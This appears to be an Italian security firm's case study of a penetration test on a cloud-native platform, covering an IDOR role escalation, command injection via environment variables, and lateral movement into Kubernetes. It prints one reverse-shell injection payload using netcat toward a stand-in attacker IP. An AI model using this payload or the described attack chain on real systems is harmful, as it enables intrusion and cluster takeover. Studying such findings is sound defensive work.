Case study di un Pentest su un’applicazione cloud-native complessa 

I Penetration Test, oltre a essere degli strumenti utili per evidenziare vulnerabilità in sistemi classici come applicazioni web e reti, possono essere tarati su ambienti ibridi, che raccolgono aspetti della Web, Cloud, DevOps e Infrastructure security.

Difatti, oggi ci ritroviamo a interagire con sempre meno casi di applicazioni omogenee, dove la superficie d’attacco risiede soltanto nell’esposizione dei controlli lato web; spesso le applicazioni risultano fortemente influenzate dallo stack cloud sottostante (es. AWS con login tramite un IdP come Cognito, integrazione degli utenti tramite Entra ID ecc.), e richiedono dunque skill di pentesting trasversali.

In questo articolo vi proponiamo un caso studio che riguarda un’attività di PT svolta presso un nostro cliente, per dimostrare l’impatto e l’importanza della sicurezza nel contesto di piattaforme cloud-native complesse.

Vogliamo far notare come i dati riportati in seguito si riferiscano a uno dei primi PT effettuati in modalità preventiva sulla realtà del cliente, su una versione in sviluppo dell’applicazione. Le evidenze sono state prontamente risolte e verificate tramite un test di validazione.

Obiettivo del Penetration Test e Threat Modeling

L’obiettivo accordato con il cliente è stato quello di definire gli scenari di attacco provenienti da un utente interno registrato, ovvero il cliente finale della piattaforma.

Appena ricevute le credenziali abbiamo notato la creazione di un repository, il quale presentava una certa dualità con l’ambiente di sviluppo offerto dall’applicazione stessa, contenendo una serie di progetti relativi alla configurazione delle app ospitate… una chiara indicazione del fatto che le configurazioni salvate tramite interfaccia venissero riflesse nei file sul repo.

Dal punto di vista delle utenze, abbiamo ottenuto degli account con dei ruoli predefiniti, che si applicano sia a livello di progetto che di azienda. Un utente può infatti essere amministratore a livello di progetto e non di azienda, ma non il contrario.

Navigando sulla piattaforma abbiamo poi notato come potessimo rilasciare degli applicativi su un cluster Kubernetes gestito su un noto cloud provider, ogni modifica veniva applicata tramite un service account dedicato alle attività scatenate dall’interfaccia.

Considerando le informazioni ricavate, abbiamo delineato gli scenari di attacco più rilevanti per il contesto:

• Elevazione dei privilegi sulla piattaforma, al fine di controllare progetti di sviluppo altrui;
• Manomissione del processo di deployment;
• Movimenti laterali verso Kubernetes, per compromettere le applicazioni a runtime;

A questi sarebbe da aggiungere l’elevazione dei privilegi sul cloud (controllo sulla gestione delle identità) che tuttavia risultava fuori scope per quel particolare engagement.

Questi scenari ci hanno permesso di coprire le minacce presenti sull’intero ciclo di sviluppo software offerto dal prodotto.

Metodologia di attacco

Partendo dagli scenari di attacco sopra citati sono poi state ricercate eventuali vulnerabilità al fine di validare le conseguenze derivanti dalla potenziale exploitation e i relativi rischi.

Web Privilege Escalation

Il primo scenario è stato facilmente smarcabile manipolando gli endpoint API dedicati alla gestione delle utenze. Nella sezione web relativa ai ruoli utente veniva infatti esposta la funzionalità per assumere uno o più ruoli di rango inferiore, mentre non sembrava essere possibile muoversi nel verso opposto.

Tuttavia, utilizzando il metodo PATCH nella stessa chiamata e cambiando appositamente i ruoli a quelli di amministratore, la richiesta terminava con successo permettendo di muoverci sia all’interno dell’azienda che all’interno del progetto.

La stessa pagina esponeva inoltre funzionalità per recuperare la lista degli userId e dei ruoli esistenti, il che ha esteso lo scope della vulnerabilità alla modifica dei ruoli appartenenti ad altri account.

Si tratta dunque di una vulnerabilità di tipo IDOR, oggi chiamata anche BOLA, nell’interfaccia di amministrazione della piattaforma, che consiste nella mancanza totale o parziale dei controlli autorizzativi sulla sessione dell’utente, che ci ha permesso di giocare con i vari parametri http e di ottenere gli effetti desiderati.

Che impatto ha avuto la nostra azione?
Con accesso amministrativo, abbiamo ottenuto il pieno controllo delle risorse, inclusa la gestione degli utenti e delle applicazioni ospitate nell’intera azienda.

Manomissione del processo di deployment

In un’apposita sezione di configurazione, il software permetteva di specificare una lista di variabili d’ambiente da sfruttare a runtime per le applicazioni rilasciate.

Provando a inserirle e a modificarle, abbiamo notato come esse venissero riportate in un file di configurazione sul repository in un formato ben conosciuto, ovvero quello di uno shell script:
{nome_variabile}=’{valore}’

Data la mancanza di validazione sugli input, arrivare a eseguire una Command Injection è risultato piuttosto semplice:

nc $attacker_ip $attacker_port -e /bin/sh && FOO=’bar’

Queste variabili venivano integrate all’interno delle applicazioni durante la fase di deployment tramite il comando source, e consentivano dunque di eseguire codice arbitrario sulle istanze runner nell’ambiente di rilascio.

All’interno dei vari runner sono state esfiltrate ulteriori informazioni critiche: erano per esempio presenti i token impiegati dal service account legato all’applicazione, che richiedono necessariamente accessi pari a quelli di cluster-admin, garantendoci il controllo dell’intero cluster.

Che impatto ha avuto la nostra azione?
Con il controllo del cluster è stato possibile muoverci tra l’ambiente di test e quello di produzione, iniettare codice malevolo nelle applicazioni e potenzialmente compromettere le infrastrutture dei clienti con i relativi dati riservati.

Movimenti laterali verso Kubernetes

Navigando all’interno dell’app, una pagina è stata analizzata con particolare attenzione, in quanto permetteva di scegliere un’immagine Docker da un registro pubblico e di rilasciarla direttamente, senza verificarne la provenienza o il contenuto.

Tra le varie immagini che avremmo potuto scegliere, quella di raesene offre una reverse shell stabile appena viene inizializzata, e ci ha permesso di agire come se fossimo stati all’interno del cluster alla ricerca di ulteriori movimenti laterali.

Durante la nostra attività di enumerazione, abbiamo notato come uno dei nodi Kubernetes fosse situato nel control plane, segmento del cluster contenente pod con al loro interno dei token dotati di privilegi elevati. Dopo essere diventati root sul pod originale grazie a un exploit di tipo Local Privilege Escalation, ci siamo mossi lateralmente dal piano applicativo a quello di controllo grazie alla direttiva di configurazione nodeAffinity, che permette di specificare il nodo dove l’applicazione verrà rilasciata.

Infine, abbiamo estratto tutti i token presenti sul nodo di controllo, uno di essi apparteneva a un noto load balancer che detiene i privilegi di lettura su tutti i secrets nel cluster, inclusi i token dei service account amministrativi.

Che impatto ha avuto la nostra azione?
Con il controllo del cluster Kubernetes abbiamo potuto gestire tutti i nodi e i pod, distribuire nuovi workload malevoli, accedere a secrets e configurazioni di applicazioni sensibili e manipolare completamente l’infrastruttura della piattaforma.

Perché eseguire i Penetration Test: conclusioni

Da questo case study emerge il ruolo fondamentale dei Penetration Test come strumento per prevedere, stimare e mitigare i rischi, rafforzare la sicurezza e garantire la continuità operativa in un panorama informatico sempre più interconnesso.
Le azioni svolte hanno permesso di ottenere i seguenti benefici per l’organizzazione che ci ha ingaggiati:

• Prevenzione degli attacchi
  Il PT ha permesso di individuare vulnerabilità ignote e altre falle di sicurezza prima che potessero essere sfruttate da attaccanti. Ha in particolare evidenziato configurazioni errate, misure di sicurezza inidonee ed elementi di design insicuri.
• Valutazione della resilienza
  È stato possibile ottenere un quadro complessivo del livello di resilienza aziendale agli attacchi mirati al cloud, testando l’efficacia delle misure di sicurezza in atto, come firewall, sistemi di rilevamento delle intrusioni (IDS), e network policies. Nell’interazione con i team del cliente è stato inoltre possibile identificare e segnalare le inefficienze nei processi di risposta agli incidenti.
• Miglioramento continuo
  La condivisione del report e il piano di remediation da noi proposto ha fornito al cliente un feedback utile per adottare un approccio continuativo alla sicurezza. Il piano ha contribuito nell’educare il team di sviluppo a buone pratiche di igiene informatica e a sensibilizzare l’azienda intera sui rischi esistenti.

Grazie ai Penetration Test non è necessario aspettare che si verifichino incidenti: essi offrono un approccio preventivo e strategico alla gestione della sicurezza informatica. Le aziende che, come i nostri clienti, eseguono Pentest regolari trasmettono fiducia ai loro clienti, ai partner e agli stakeholder.